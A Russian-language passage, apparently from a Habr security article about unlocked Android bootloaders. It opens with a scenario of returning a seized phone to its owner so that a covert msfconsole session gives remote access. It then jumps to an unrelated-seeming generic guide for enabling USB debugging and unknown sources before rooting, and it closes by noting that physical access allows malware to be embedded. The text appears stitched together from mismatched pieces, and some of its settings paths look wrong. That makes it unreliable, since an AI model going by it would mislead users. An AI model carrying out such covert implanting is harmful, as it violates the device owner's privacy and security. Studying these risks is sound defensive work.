В рамках нашей задачи по изъятию данных будем считать, что устройство было возвращено владельцу. Владелец включит его, введёт код разблокировки и будет им пользоваться, а мы получим сессию в msfconsole и удалённый доступ к устройству.

Через «отладку по usb»

В настоящее время существует несколько способов подготовки смартфона перед получением root-прав.

Наиболее популярным из них является отладка по USB, которая проводится по следующей пошаговой инструкции:

1. Перейдите в настройки гаджета.
   
2. Выберите путь «Специальные возможности» – «Для разработчиков».
   
3. Активируйте опцию «Отладка по USB», передвинув ползунок переключателя в позицию «On» и сохраните изменения.

Если все было сделано правильно, то после подключения гаджета к компьютеру можно буде увидеть активный статус отладки в соответствующей строке уведомления.

Через разрешение «неизвестных источников»

Есть и более простой способ отладки системы смартфона перед получением root-прав, актуальный для тех случаев, когда установка будет производиться со сторонних (неизвестных) ресурсов.

Для этого необходимо:

1. Перейти в смартфонные настройки.
2. Выбрать раздел «Безопасность».
3. Перетащить ползунок напротив пункта «Неизвестные источники» в активное положение.

После сохранения изменений рекомендуется перезагрузить смартфон, после чего можно приступать к выполнению изначально поставленной задачи – рутированию системы устройства.

Выводы

Мы посмотрели какие неприятности несёт с собой разблокированный загрузчик, смогли убедиться в том, что при физическом доступе к устройству он позволяет злоумышленнику встроить в android малварь, при этом ему не обязательно для этого вводить код разблокировки или включать режим разработчика и adb.

UPDATE

Спасибо @vm03за указание на ошибку про отсутствие собранного ядра в сборках LineageOS

https://www.youtube.com/watch?v=B29ARSguhBM

Спасибо хабровчанам за интерес к статье и добрые отзывы